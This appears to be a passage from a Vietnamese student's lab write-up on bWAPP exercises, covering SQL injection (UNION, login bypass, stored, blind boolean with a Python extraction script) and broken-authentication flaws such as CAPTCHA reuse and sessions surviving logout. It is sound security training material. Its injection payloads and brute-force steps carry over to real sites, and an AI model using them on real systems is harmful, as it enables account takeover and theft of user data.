đoạn code xử lí sql query thấy rằng nó chỉ xử lí 1 câu query nên chỉ còn cách là dùng `UNION` **3. Chứng minh giả thuyết** - Đầu tiên, phải đóng câu query phía trước bằng dấu `'`, sau đó thêm `UNION` và câu query `SELECT null,null,null,null,null` sau đó là dấu comment lại để tránh bị lỗi phía sau `#` hoặc `-- ` ![image](https://hackmd.io/_uploads/SyNAsuSV0.png) Hình 3.1 Kết quả khi inject vào giá trị của tham số title trong yêu cầu GET - Vì không đúng số cột nên em sẽ thử lại và xác nhận nhận là có 7 cột **4. Tiến hành khai thác** - Sau khi xác nhận có 7 cột đưa payload để có thể đọc được tên của của các bảng có trong cơ sở dữ liệu này ``` 0' union select 1,table_schema,table_name,4,5,6,7 from information_schema.tables WHERE table_schema = DATABASE()# ``` - Kết quả là xuất hiện được 4 tên bảng (Hình 4.1) ![image](https://hackmd.io/_uploads/Hkuh8tB40.png) Hình 4.1. Kết của việc hiện thị tên bảng trong cơ sở dữ liệu hiện tại - Sau khi biết tên bảng có thể đọc được thông tin tên cột trong bài này em tìm các cột trong user bằng payload như sau ``` 0'union all select 1,table_name, column_name,4,5,6,7 from information_schema.columns+WHERE+table_schema='bWAPP' and table_name='users'# ``` - Kết quả là xuất hiện được các cột trong bảng user(Hình 4.2) ![image](https://hackmd.io/_uploads/ryhBOFBVA.png) Hình 4.2. Các cột có trong bảng users - Sau khi biết tên cột và bảng có thể dễ dàng đọc tài liệu ở trong mỗi cột với bảng tương ứng này ``` 0'union all select 1,login,password,secret,email,admin,7 from users# ``` ![image](https://hackmd.io/_uploads/rJSVtFrN0.png) - Thử xem có quyền ghi file thì thấy rằng database này không cho phép --- <br> **<span style="; font-size: 30px">SQL Injection (GET/Select) </span>** <br> **1. Chức năng của ứng dụng** - Y hệt như bài lab chỉ khác mỗi lần này chọn cố định (Hình 1.1) tuy nhiên trên URL vẫn hiển thị giá trị (Hình 1.2) ![image](https://hackmd.io/_uploads/Byy6jCMSC.png) Hình 1.1. Trang chính của ứng dụng ![image](https://hackmd.io/_uploads/HkLvsRGSA.png) Hình 1.2. Tham số movie trên URL được đưa vào database và không sàng lọc nên vẫn có thể injection được tương tự bài lab trên - Tuy nhiên bài này tham số là id không để trong chuỗi (Hình 1.3) vậy nên không cần thoát chuỗi để thực hiện query khác ![image](https://hackmd.io/_uploads/B1V8hyXS0.png) Hình 1.3. Đoạn code xử lí giá trị của tham số movie trong method GET - Payload của bài lab này sẽ là ``` 0 union all select 1,login,password,secret,email,admin,7 from users ``` - Các hàm `mysqli_real_escape_string` cũng không thể ngăn chặn bởi vì nó chỉ encode các kí tự có trong hình 1.3 khi đưa vào cơ sở dữ liệu thôi ngoài ra đều có thể thực thi bình thường ![image](https://hackmd.io/_uploads/rJQli1QHR.png) Hình 1.4. Những kí tự bị encode khi đưa vào cơ sở dữ liệu của hàm `mysqli_real_escape_string` - Kết quả khi thực hiện inject payload vào giá trị của tham số movie trên URL?(Hình 1.4) ![image](https://hackmd.io/_uploads/S1a8aJmBA.png) Hình 1.5. Bảng chứa thông tin user đã bị lộ - Tuy nhiên là kết quả chỉ trả về 1 dòng duy nhất nên cần thêm `OFFSET` vào trong payload để hiện thị thêm người khác ``` 0 union all select 1,login,password,secret,email,admin,7 from users LIMIT 1 OFFSET 1 ``` - Sua khi thêm OFFSET hiển thị thêm được người dùng khác (Hình 1.6) ![image](https://hackmd.io/_uploads/SJUfR1XSR.png) Hình 1.6. Hiện thị thêm được người dùng bee - Còn level High sử dụng cấu trúc prepare statement nên không thể khai thác được (Hình 1.7) ![image](https://hackmd.io/_uploads/SJhKylmHR.png) Hình 1.7. Level High sử dụng cấu trúc prepare statement --- <br> **<span style="; font-size: 30px">SQL Injection (Login Form\Hero)</span>** <br> **1. Chức năng của ứng dụng** - Trang web hiện thị một ô để có thể đăng nhập (Hình 1.1) ![image](https://hackmd.io/_uploads/HkFslWmBC.png) Hình 1.1. Form đăng nhập - Tiếp tục mở code lên xem thấy rằng trong file `sqli_3.php` chứa đoạn code chứa cách xử lí dữ liệu người dùng nhập vào (Hình 1.3) ![image](https://hackmd.io/_uploads/Hk8OWWXBA.png) Hình 1.3. Cách trang web sẽ lấy dữ liệu đầu vào và đưa vào database để check thông tin đăng nhập - Hàm `sqli` để check dự liệu đầu vào tương tự các phần trước ![image](https://hackmd.io/_uploads/HJPGVZ7rR.png) Hình 1.4. Hàm xử lí dữ liệu đầu vào tùy theo level, bằng các hàm riêng trong mỗi level ![image](https://hackmd.io/_uploads/BybKBDBNA.png) Hình 1.5 Cách sqli_check_1 và sqli_check_2 hoạt động **2. Đặt giả thuyết** - Ở level Low dữ liệu của người dùng nhập vào được đưa thẳng vào câu query mà không có sàng lọc nên chúng ta có thể tấn công sqli được. - Giờ chúng ta không biết tên đăng nhập của người dùng là gì ? chúng ta có thể sử dụng toán tử để loại bỏ điều kiện where và lấy được tài khoản người dùng đầu tiên không ? **3. Chứng minh giả thuyết** - Payload để loại bỏ điều kiện WHERE đó là thêm toán tử OR vào giữa như sau ``` ' OR 1# ``` - Khi username được OR với 1 (True) thì True sẽ được ưu tiên vậy nên đã thoát khỏi điều kiện WHERE và vào được tài khoản của người dùng đầu tiên - Điền payload trên vào username để khai thác ![image](https://hackmd.io/_uploads/HyONUZXrR.png) - Thành công đọc được secret của người đầu tiên ![image](https://hackmd.io/_uploads/S16UIWQSC.png) --- <br> **<span style="; font-size: 30px">SQL Injection (Login Form\User )</span>** <br> **1. Chức năng của ứng dụng** - Trang web hiện thị một ô để có thể đăng nhập (Hình 1.1) ![image](https://hackmd.io/_uploads/HkFslWmBC.png) Hình 1.1. Form đăng nhập - Tiếp tục mở code lên xem thấy rằng trong file `sqli_13.php` chứa đoạn code chứa cách xử lí dữ liệu người dùng nhập vào (Hình 1.3) ![image](https://hackmd.io/_uploads/ryf78PXSC.png) Hình 1.3. Cách trang web sẽ lấy dữ liệu đầu vào và đưa vào database để check thông tin đăng nhập - Hàm `sqli` để check dữ liệu đầu vào tương tự các phần trước ![image](https://hackmd.io/_uploads/HJPGVZ7rR.png) Hình 1.4. Hàm xử lí dữ liệu đầu vào tùy theo level, bằng các hàm riêng trong mỗi level ![image](https://hackmd.io/_uploads/BybKBDBNA.png) Hình 1.5 Cách sqli_check_1 và sqli_check_2 hoạt động - Lần này xác thực user khác mấy lần trước đó là: - Đầu tiên SQL query sẽ lấy username,password từ database bằng username mà user nhập vào. - Sau đó sẽ hash password của user nhập vào và so sánh với password được lấy từ db bằng câu query phía trên (biến `$row["password"]`). **2. Đặt giả thuyết** - Liệu chúng ta có thể thay đổi được `$row["password"]` theo ý chúng ta thì sao ? - Mình đã nghĩ đến việc dùng UNION để làm điều này **3. Chứng minh giả thuyết** - Khi chúng ta dùng UNION thì trong cơ sở dữ liệu sẽ lấy thêm dữ liệu của dòng sau. - Mình sẽ cho câu lệnh Select đầu tiền bị lỗi khiến biến `$row["password"]` lấy giá trị của phần password ở đâu query mình tự thêm vào. - Mình sẽ viết luôn payload để mọi người dễ hiểu ``` ' UNION SELECT 'bee',sha1('1')# ``` - Giải thích qua về payload ở trên thì chúng ta cần khiến câu lệnh trước UNION không trả về kết quả để kết quả của câu lệnh phía sau được xuất hiện và chương trình lấy kết quả đó, sau đó là fake password và username để chương trình sẽ lấy pass mà mình tự nhập cho biến `$row["password"]` (mã hóa sha1 trước khi fake) - SQL injection thôi (ở phần password điền mk của cta trước khi mã hóa) - Sau khi injection vào thì nso thông báo khác só cột vậy nên sau khi thử lại khá nhiều lần thì em đã tìm ra số cột là 9 và payload haonf chỉnh để sqli đó là ``` ' UNION SELECT 1,'bee',sha1('1'),4,5,6,7,8,9# ``` - Paylaod trên dược điền ở username còn password thì điền là 1 - Đưa payload vào form thì đã đăng nhập thành công với người dùng `bee` (Hình 3.1) ![image](https://hackmd.io/_uploads/SJuuvOmSC.png) Hình 3.1. đăng nhập thành công với tài khoản bee --- <br> **<span style="; font-size: 30px">SQL Injection (SQLite)</span>** <br> **Khai thác** - ứng dụng vẫn giống như lab đầu là form search tuy nhiên sử dụng sqlite - Payload để tìm bảng trong cơ sở dữ liệu `'union select 1,2,name,4,5,6 from sqlite_master-- -` - Payload để tìm cột trong cơ sở dữ liệu `'union select 1,2,sql,4,5,6 from sqlite_master-- -` - Payload để hiển thị giá trị trong cột trong cơ sở dữ liệu ` 'union select 1,2,login||":"||password,4,5,6 from users--- ` --- <br> **<span style="; font-size: 30px">SQL Injection - Stored(Blog) </span>** <br> **1. Chức năng của ứng dụng** - Trang web cho phép người dùng ghi nội dung lên và hiện thị lại nội dung đó ngay ở bảng bên dưới (Hình 1.1) ![image](https://hackmd.io/_uploads/H1iKnY7SA.png) Hình 1.1. Trang web chính - Tiếp tục mở code lên xem thấy rằng trong file `sqli_7.php` chứa đoạn code chứa cách xử lí dữ liệu người dùng nhập vào (Hình 1.3) và lọc dữ liệu đầu của người dùng khi đưa vào câu query bằng hàm `sqli`(Hình 1.4) ![image](https://hackmd.io/_uploads/SJQFaFXr0.png) Hình 1.3. Trang đưa dữ liệu người dùng nhập vào vào database ![image](https://hackmd.io/_uploads/S1hhRtQS0.png) Hình 1.4. Hàm xử lí dữ liệu đầu vào tùy theo level, bằng các hàm riêng trong mỗi level ở file `functions_external.php` (Hình 1.5) ![image](https://hackmd.io/_uploads/SyYbycmrC.png) Hình 1.5 Cách sqli_check_1 và sqli_check_3 hoạt động **2. Đặt giả thuyết** - Liệu trong câu lệnh Insert Into chúng ta có thể chèn câu lệnh select để có thể dump được dữ liệu của bảng khác không ? **3. Tiến hành khai thác** - Mở gói tin chứa request gửi tới server dữ liệu người dùng nhập đưa vào repeater để chèn payload vào tham số `entry` (Hình 3.1) ![image](https://hackmd.io/_uploads/ByNYU57BC.png) Hình 3.1. Request chứa giá trị gửi tới server - Payload để xem tên các bảng có trong cơ sở dữ liệu ``` a',(SELECT GROUP_CONCAT(table_name) from information_schema.tables where table_schema=database()));# ``` - Kết quả là xuất hiện được 4 tên bảng (Hình 3.2) ![image](https://hackmd.io/_uploads/HJQLMcXB0.png) Hình 3.2. Kết của việc hiện thị tên bảng trong cơ sở dữ liệu hiện tại - Sau khi biết tên bảng có thể đọc được thông tin tên cột trong bài này em tìm các cột trong user bằng payload như sau ``` a',(SELECT GROUP_CONCAT(column_name) from information_schema.columns where table_schema=database() and table_name='users'));# ``` - Kết quả là xuất hiện được các cột trong bảng user(Hình 3.3) ![image](https://hackmd.io/_uploads/Hy_bXqmSR.png) Hình 3.4. Các cột có trong bảng users - Sau khi biết tên cột và bảng có thể dễ dàng đọc tài liệu ở trong mỗi cột với bảng tương ứng này ``` a',(SELECT GROUP_CONCAT(id,0x5c,login,0x5c,password,0x5c,email,0x5c,secret) as data FROM (select id,login,password,email,secret from users limit 1,1) as total));# ``` ![image](https://hackmd.io/_uploads/BJtn4cmHA.png) Hình 3.5. Dữ liệu của người dùng đã được nhìn thấy --- <br> **<span style="; font-size: 30px">SQL Injection Blind Boolean Based</span>** <br> **1. Chức năng của ứng dụng** - Trang web cho phép người dùng tìm xem phim có trong database không (Hình 1.1) ![image](https://hackmd.io/_uploads/BkEpcFNHC.png) Hình 1.1. Trang web chính - Nếu tên phim mà điền đúng thì sẽ hiển thị thông báo `The movie exists in our database!` ![image](https://hackmd.io/_uploads/rkTWjFESC.png) Hình 1.3. Thông báo khi tìm thấy tên phim - Nếu tên phim mà điền sai thì sẽ hiển thị thông báo `The movie does not exist in our database!` ![image](https://hackmd.io/_uploads/rkxEotVBC.png) Hình 1.4. Thông báo khi không tìm thấy tên phim **2. Đặt giả thuyết** - Trang web sẽ phải kết nối với database khi tìm tên phim vậy liệu nó có bị sqli không ? - Nếu bị Sqli liệu chúng ta có thể dựa trên sự khác nhau giữa việc tìm thấy và không tìm thấy ở thông báo để đoán từng kí tự không ? **3. Chứng minh giả thuyết** - Thử các dấu `'`, `"`, `)'` ,`)"` xem có xuất hiện lỗi gì không thig thấy khi thêm `'` thì trang web xuất hiện lỗi syntax suy ra là có thể sqli vì kí tự dặc biệt không bị filter (Hình 3.1) ![image](https://hackmd.io/_uploads/SJ22aFES0.png) Hình 3.1. Lỗi khi thử điền `'` - Sau khi biết sqli chúng ta sẽ cần thử payload để đoán xem nó có hoạt động đúng không ? ``` ' OR 1# ``` - Việc OR với true sẽ trả về kết quả đúng vậy nên trang web đã trả về thông báo `exists` (Hình 3.2) ![image](https://hackmd.io/_uploads/HJ1D0t4BA.png) Hình 3.2. Thông báo truy vấn trả về true - Khi thử payload ngược lại với trên thì xuất hiện `not exists` ``` ' OR 0# ```` ![image](https://hackmd.io/_uploads/H14b-94BA.png) Hình 3.3. Thông báo trả về not exists vì điều kiện trả về false - Từ 2 điều trên chúng ta có thể đoán tên cơ sở dữ liệu bằng cách cắt từng kí tự rồi đoán với payload như sau ``` ' or substring(database(),1,1)='a'# ``` - Với payload ở trên nếu kí tự đầu tiên của tên database hiện tại là a thì kết quả sẽ trả về `exists` còn không sẽ trả về `not exists` - Tuy nhiên trong bài này trả về `not exists` (Hình 3.4), vậy là kí tự đầu khác a ![image](https://hackmd.io/_uploads/SywBf5Nr0.png) Hình 3.4. Khi đoán thử kí tự đầu là a thì trả về `not exists` - Tuy nhiên khi thử thay bằng b thì lại trả về `exists` (Hình 3.5) ![image](https://hackmd.io/_uploads/H14cGcVrA.png) Hình 3.4. Khi đoán thử kí tự đầu là b thì trả về `exists` - Vậy nên chúng ta có thể sử dụng payload này để đoán các cái khác như tên bảng và cột **4. Tấn công khai thác** - Dùng extension `Copy AS Python-Requests` để copy `Request` chuyển sang Python để thực thi tự động hóa cũng như là giữ trang thái đăng nhập thái đăng nhập - Payload để xem tên các bảng có trong cơ sở dữ liệu ```javascript= import requests import sys from urllib.parse import quote CHARSET = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_:/' FLAG = '' def send_request(index, char): payload = "' or binary substring(database(),{},1)='{}'#".format(index, char) encoded_payload = quote(payload) burp0_url = "http://localhost:8080/bWAPP/sqli_4.php?title={}&action=search".format(encoded_payload) burp0_cookies = {"PHPSESSID": "aaed885968b44659469cd42488aa53ff", "security_level": "0"} burp0_headers = {"sec-ch-ua": "\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\"", "sec-ch-ua-mobile": "?0", "sec-ch-ua-platform": "\"Windows\"", "Upgrade-Insecure-Requests": "1", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site": "same-origin", "Sec-Fetch-Mode": "navigate", "Sec-Fetch-User": "?1", "Sec-Fetch-Dest": "document", "Referer": "http://localhost:8080/bWAPP/sqli_4.php?title=%27+or+substring%28database%28%29%2C1%2C1%29%3D%27a%27%23&action=search", "Accept-Encoding": "gzip, deflate, br", "Accept-Language": "en-US,en;q=0.9", "Connection": "close"} r = requests.get(burp0_url, headers=burp0_headers, cookies=burp0_cookies) return r.text for index in range(1, 100): found = False # Biến để theo dõi xem ký tự đã được tìm thấy hay chưa for char in CHARSET: response = send_request(index, char) # text1 = '' # if 'The movie exists in our database!' in response: # text1 = 'The movie exists in our database!' # elif 'The movie does not exist in our database!' in response: # text1 = 'The movie does not exist in our database!' # print("Kí tự số ", index, "là: ", char, "-->", text1, end="\r") if 'The movie exists in our database!' in response: FLAG += char print("Kí tự thứ", index, "là: ", char) found = True break if not found: print("FLAG tìm được là: ", FLAG) sys.exit() ``` - Kết quả là xuất hiện tên database là bwapp (Hình 3.1) ![image](https://hackmd.io/_uploads/rJ8j_64B0.png) Hình 3.1. Kết quả sau khi thực hiện đoán từng kí tự của tên database - Tìm số bảng có trong database `bWAPP` bằng payload như sau: ``` ' OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema='bWAPP')=5# ``` - Tìm độ dài tên từng bảng: - Độ dài tên bảng đầu tiên ``` ' OR (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema='bWAPP' LIMIT 0,1)=4# ``` - Tìm tên của bảng đầu tiên bằng cách cắt từng kí tự 1: ``` ' OR (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema='bWAPP' LIMIT 0,1)="b"# ``` - Sau khi biết tên bảng có thể đọc được thông tin tên cột trong bài này em tìm các cột trong user bằng payload như sau ``` ' OR (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_schema='bWAPP' AND table_name='users' LIMIT 2,1)='p'# ``` - Tìm từng kí tự tên sau khi biết tên cột đó là ``` ' OR (SELECT login FROM users LIMIT 0,1)LIKE 'A%'# ``` --- **II. Broken Authentication** === **<span style="; font-size: 25px">Broken Auth. - CAPTCHA Bypassing</span>** --- **1. Chức năng của ứng dụng** - Cho phép người dùng đăng nhập bằng username, password và mã captcha tương ứng (Hình 1.1), sau đó nếu nhập đúng cả 3 giá trị sẽ hiễn thị `Successful login!` (Hình 1.2), nếu sai 1 trong 3 sẽ hiển thị thông báo lỗi ![image](https://hackmd.io/_uploads/HyWw79INC.png) Hình 1.1. Form đăng nhập ![image](https://hackmd.io/_uploads/SJa2XcUVR.png) Hình 1.2. Sau khi đăng nhập thành công - Tiếp tục mở code lên xem thấy rằng trong file `ba_captcha_bypass.php` chứa đoạn code xem chương trình sẽ xác nhận người dùng như thế nào (Hình 1.3 và Hình 1.4) và trong file `captcha.php` chứa cách mã captcha được tạo ra (Hình 1.5) ![image](https://hackmd.io/_uploads/SyMl_5840.png) Hình 1.3. Check điều kiện của level Medium và High ![image](https://hackmd.io/_uploads/SJNIdqIVR.png) Hình 1.4. Check điều kiện của level Low ![image](https://hackmd.io/_uploads/BJNh_5UNR.png) Hình 1.5. Cách mã captcha trong biến $_SESSION được tạo ra ở file `captcha.php` **2. Đặt giả thuyết** - Muốn đăng nhập vào tài khoản thì cần phải biết username và password mà mình lại không biết điều này nên mình đoán trong trường hợp này là tấn công brute force để đoán tài khoản và mật khẩu - Tuy nhiên chương trình lại xác thực mã captcha để tránh có thể brute force - Vậy chúng ta có thể khai thác lỗi xác thực từ mã captcha này không ? Liệu có thể thay đổi tài khoản và mật khẩu nhiều lần nhưng chỉ sử dụng 1 mã captcha không ? - Có thể để ý trong code rằng nếu như nhập sai tài khoản và mật khẩu ứng dụng không tạo ra mã captcha mới **3. Chứng minh giả thuyết** - Đầu tiên chúng cần bật Intercept trong BurpSuite để có thể chặn gói tin được gửi đi - Sau đó tiến hành nhập username và password bất kì nhưng mã captcha phải nhập đúng vì nó sẽ là xác thực cho bước brute force - Sau khi nhập xong bấm nút login chúng ta sẽ thấy gói tin xuất hiện ở tab Proxy phần Intercept của BurpSuite (Hình 3.1) ![image](https://hackmd.io/_uploads/rk_mS2UE0.png) Hình 3.1. Hình ảnh gói tin bị chặn lại trước khi gửi tới server - Tiếp theo bấm `Ctrl+I` để đưa gói tin sang tab Intruder để tiến hành brute force - Sau đó sang tab Intruder chọn vào những biến muốn thay đổi và bấm nút Add (ở phía để phải) sao cho giống hình 3.2 ![image](https://hackmd.io/_uploads/SkinY3UNR.png) ![image](https://hackmd.io/_uploads/H15gLn8NR.png) Hình 3.2. Thêm kí tự đặc biệt để ứng dụng biết nên thay đổi giá trị ở đâu - Tiếp theo sang tab Payloads để có thể lựa chọn giá trị sẽ thay đổi như thế nào - Ở trong phần này thì mình có thể brute force dựa trên những list từ đã có và thử từng tài khoản với từng mật khẩu một bằng cách cài đặt các list cho từng `payload set` một - Sau khi cài đặt xong list để ứng dụng bruteforce có thể bấm Start Attack để bắt đầu bruteforce. - Sau khi xem kết quả có thể thấy kết qua bee/bug là khác nhất về số kí tự trả về (Hình 3.3) ![image](https://hackmd.io/_uploads/SyC-jnIVA.png) Hình 3.3. Kết quả tổng quan của việc bruteforce - Click vào để xem chi tiết Response thì thấy rằng thông báo trả về `Login Succesfull` (Hình 3.4) ![image](https://hackmd.io/_uploads/SyHqo2UVR.png) Hình 3.4. Thông tin chi tiết ứng với username `bee` và mật khẩu `bug` - Vậy là đã thành công bypass được mã captcha thông qua việc xác thực yếu không tải lại mã sau mỗi lần thử sai - Các level sau đoạn code đều không xác thực lại captcha ngay khi thử sai vậy nên là vẫn có thể khai thác lại các bước như trên --- **<span style="; font-size: 30px">Broken Auth. - Forgotten Function</span>** **1. Chức năng của ứng dụng** - Cho phép người dùng đã quên mật khẩu nhập email để có mã lấy lại mật khẩu (Hình 1.1) ![image](https://hackmd.io/_uploads/S1v8-6LNC.png) Hình 1.1. Form nhập email - Để có test chức năng này em tạo mới một user để có thể với các thông tin cần thiết để sau này có thể xác thực (Hình 1.2) ![image](https://hackmd.io/_uploads/B1DPGT84C.png) Hình 1.2. Form tạo user mới - Tiếp tục mở code lên xem thấy rằng trong file `ba_forgotten.php` chứa đoạn code xem chương trình sẽ xử lí như thế nào sau khi người dùng nhập email - Đầu tiên ứng dụng kiểm tra người dùng có nhập email hợp lệ hay không ? Nếu dúng format email thì đưa qua hàm mysqli_real_escape_string để lọc dữ liệu trước khi đưa vào cơ sở dữ liệu, sau đó nhận kết quả trả về của cơ sở dữ liệu (Hình 1.3) ![image](https://hackmd.io/_uploads/rkfu_TIVC.png) Hình 1.3. Kiểm tra email có tồn tại trong database không sau đó lấy ra - Với level Low ứng dụng không xác thực có phải người hiện tại đang login là chủ email không mà hiển thị ngay secret ở trang nhập email chứ không phải hiện ở email (Hình 1.4) ![image](https://hackmd.io/_uploads/SyMOYpIVA.png) Hình 1.4. Đoạn code của level Low - Với level Medium ứng dụng sẽ gửi secret tới email được nhập chứ không hiển thị ngay ở trên trang web nữa (Hình 1.5) ![image](https://hackmd.io/_uploads/S11Rcf4BR.png) Hình 1.5. Code gửi mã secret tới email - Level High ứng dụng lần này sẽ gửi link để reset secret tuy nhiên ứng dụng sẽ gửi kèm reset_code được random để tạo ra mã riêng cho đường link đó (Hình 1.6) ![image](https://hackmd.io/_uploads/SkLk6MEBA.png) Hình 1.6. Code gửi link reset secret tới email **2. Đặt giả thuyết** - Ở level Low liệu có phải cần login và biết email của người khác là có thể thấy được secret của họ ? - Ở level High code giống level Low của bài `Host Header Attack (Reset Poisoning)` nên mình sẽ không trình bày lại **3. Chứng minh giả thuyết** - Mình đang ở tài khoản của bee nhưng nhập thử email `nphuc141003@gmail.com` do người dùng `phuc` tạo để xem có thấy được secret key không thì thấy rằng đã thấy được secret key của họ (Hình 3.1) ![image](https://hackmd.io/_uploads/r1oX-RLN0.png) Hình 3.1. Secret của của `Phuc` nhưng tôi đang ở tài khoản `bee` --- **<span style="; font-size: 25px">Broken Auth. - Insecure Login Forms</span>** --- **1. Chức năng của ứng dụng** - Có 3 file sẽ xử lí theo 3 cách khác tùy theo mỗi level - Level Low: `ba_insecure_login_1.php` - Cho phép người dùng đăng nhập bằng form Login (Hình 1.1) ![image](https://hackmd.io/_uploads/BJwpwCUN0.png) Hình 1.1. Form nhập email - Tuy nhiên khi đọc code trong file `ba_insecure_login_1.php` thấy rằng ở form login dev đã để cả tài khoản và mật khẩu trong form (Hình 1.2) nhưng để ở màu trắng nên nhìn bình thường không thấy còn nếu người dùng F12 hoặc Ctrl+U sẽ thấy ngay ![image](https://hackmd.io/_uploads/SJR42RLVR.png) Hình 1.2. Đoạn code html của form đăng nhập - Sử dụng tài khoản mật khẩu này đặng nhập là xong (Hình 1.3) ![image](https://hackmd.io/_uploads/BkNw2RIER.png) Hình 1.3. Sau khi nhập tài khoản và mật khẩu đã bị lộ trên trình duyệt - Level Medium: `ba_insecure_login_2.php` - Ở level này ứng dụng cho phép người dùng nhập Passphrase để có thể trả về secret ![image](https://hackmd.io/_uploads/SkpIS1wVR.png) Hình 1.4. Form nhập mật khẩu để unlock secret - Đọc code thì có thể thấy cần phải điền đúng secret để có thể hiện ra được message (Hình 1.5) ![image](https://hackmd.io/_uploads/Sy13FkP4A.png) Hình 1.5. Điều kiện để hiển thị message - Đọc đoạn code ở hình 1.5 có thể thấy đoạn điều kiện được lấy từ biến secret vậy biến này lấy từ đâu ? Sau khi đọc thêm về code thấy rằng có một hàm javascript có chức năng unlock và tạo ra mã secret này (Hình 1.6) ![image](https://hackmd.io/_uploads/Syy4q1wEC.png) Hình 1.6. hàm unlock() chứa đoạn code tạo ra mã secert - Level High: `ba_insecure_login_3.php` - Ở level này có form đăng nhập như level low tuy nhiên có vè chỉ là đọc gợi ý để điền tài khoản mật khẩu ![image](https://hackmd.io/_uploads/rytGR1DNC.png) Hình 1.7. Có một dòng là `a bee is bug` - Thử tài khoản và mật khẩu lần lượt là bee và bug được luôn nên có vẻ level không có gì **2. Đặt giả thuyết** - Ở level Low và High cũng không có gì để nói nên em tập trung hơn vào medium - ở phần Medium chươn trình cho chúng ta biết Source javascript và đoạn cách chương trình tạo ra key bí mật cũng ở đây nên chúng ta chỉ cần dựa theo vào tạo ra key tương ứng - Liệu chúng ta có thể dùng chính mã JavaScript này để hiện thị secert không ? **3. Chứng minh giả thuyết** - Mở phần `console` trong `Devtools` của trình duyệt để có thẻ chạy mã javascript này - Đưa payload để thực thi hàm `unlock_secret()` và trả về kết quả ``` var secret = unlock_secret(); console.log(secret); ``` - Sau đó trang web đã hiển thị ra secret ![image](https://hackmd.io/_uploads/SkBbGlPVR.png) - Copy và đưa vào Passphrase thì thấy thành công ![image](https://hackmd.io/_uploads/rJrIMePVC.png) --- **<span style="; font-size: 25px">Broken Auth. - Logout Management</span>** --- **1. Chức năng của ứng dụng** - Cho phép người dùng bấm nút để có thể logout ra khỏi tài khoản (Hình 1.1) ![image](https://hackmd.io/_uploads/H1RPiQPVR.png) Hình 1.1. Chức năng Logout - Tiếp tục mở code lên xem thấy rằng trong file `ba_logout.php` chứa đoạn code để redirect sang trang `ba_logout_1.php`(Hình 1.2) ![image](https://hackmd.io/_uploads/ryx0kNDVA.png) Hình 1.2. Đoạn code chính trong file `ba_logout.php` - Bên phía file `ba_logout_1.php` có thể thấy các cách logout theo từng level (Hình 1.3) và tất cả level đều delete nột só cookie và chuyển về trang login (Hình 1.4) ![image](https://hackmd.io/_uploads/HkqdlVv4A.png) Hình 1.3. Các cách cách logout theo từng level ![image](https://hackmd.io/_uploads/B1KMWVDE0.png) Hình 1.4. Điểm chung các level **2. Đặt giả thuyết** - Sau khi đọc code có thể thấy răng ở level `Low` code không hề có hủy session điều này có thể dẫn tới tuy người đã bấm logout nhưng session để duy trì vẫn còn ở đó - Ở level `Medium` điều này có như đã được giải quyết với dòng `session_destroy()` - Ở level `High` thì có vẻ an toàn hơn là việc xóa tất cả các biến phiên bằng cách gán một mảng trống cho `$_SESSION`. Sau đó, `session_destroy()` được gọi để hủy phiên. - Vậy có vẻ như lỗi chỉ xuất hiện ở level `Low` **3. Chứng minh giả thuyết** - Chỉ thực hiện được trên level Low - Để chứng mình mình giả thuyết em sẽ nhấn nút Logout sau đó thực hiện việc lấy Session ở lúc logout đi login ở một 1 trang khác - Đầu tiên, Click vào nút `Here để tiến hành Logout` (Hình 3.1) ![image](https://hackmd.io/_uploads/SJAdLrDVC.png) Hình 3.1. Click vào here để logout - Sau khi Logout lấy PHPSESSID để sang trang khác đăng nhập (Hình 3.2) ![image](https://hackmd.io/_uploads/S1AyYHDEA.png) Hình 3.2. lấy cookie khi đã Logout - Đã đăng nhập thành công với cookie cũ (Hình 3.3) ![image](https://hackmd.io/_uploads/HJnbtHPE0.png) Hình 3.3. Gán cookie của trang web cũ vào trang web mới để khôi phục đăng nhập - Thành công chứng mình việc không hủy phiên khiến vẫn có thể đăng nhập với phiên cũ --- <br> **<span style="; font-size: 25px">Broken Auth. - Password Attacks </span>** --- <br> **1. Chức năng của ứng dụng** - Trang web cho chúng một form để có thể đăng nhập (Hình 1.1) và nếu đăng nhập thành công sẽ hiện `Successful login!` (Hình 1,2) ![image](https://hackmd.io/_uploads/rJTHjrPNA.png) Hình 1.1. Form đăng nhập ![image](https://hackmd.io/_uploads/Bkv72BPVA.png) Hình 1.2. Trạng thái khi đăng nhập thành công - Tiếp tục mở code lên xem thấy rằng với mỗi level sẽ xử lí ở 1 file code khác nhau lần lượt là `ba_pwd_attacks_1.php` (Hình 1.3), `ba_pwd_attacks_2.php` (Hình 1.4 và 1.5) và `ba_pwd_attacks_3.php` (Hình 1.6 và 1.7) ![image](https://hackmd.io/_uploads/HkcBMIPVA.png) Hình 1.3. Đoạn code xử lí chính form đăng nhập ở level `Low` trong file `ba_pwd_attacks_1.php` ![image](https://hackmd.io/_uploads/SJKNxPvE0.png) Hình 1.4. Form html của chính của level `Medimum` ![image](https://hackmd.io/_uploads/H1E_Qww4R.png) Hình 1.5. Đoạn code xử lí chính form đăng nhập ở level `Medium` trong file `ba_pwd_attacks_2.php` ![image](https://hackmd.io/_uploads/HycD4wDV0.png) Hình 1.6. Form html của chính của level `High` ![image](https://hackmd.io/_uploads/r1wA4wwVA.png) Hình 1.7. Đoạn code xử lí chính form đăng nhập ở level `High` trong file `ba_pwd_attacks_3.php` **2. Đặt giả thuyết** - Với level Low không hề có cách để ngăn chặn bruteforce mật khẩu. Liệu chúng ta có thể sử dụng các công cụ tự động hóa để làm điều này ? - Với level Medium tự động tạo ra mã để có thể xác thực mỗi lần đăng nhập. Phải thử mới có thể biết chính xác được - Còn level High có vè như khó nhất vì trường này bắt buộc phải nhập và mỗi lần sẽ random khác nhau **3. Chứng minh giả thuyết** - Level Low: Có thể dưa vào Burp Intrurder để làm điều này có chỉ rõ cách ở phần `Broken Auth. - CAPTCHA Bypassing` và đây là kết quả của việc đó (Hình 3.1) 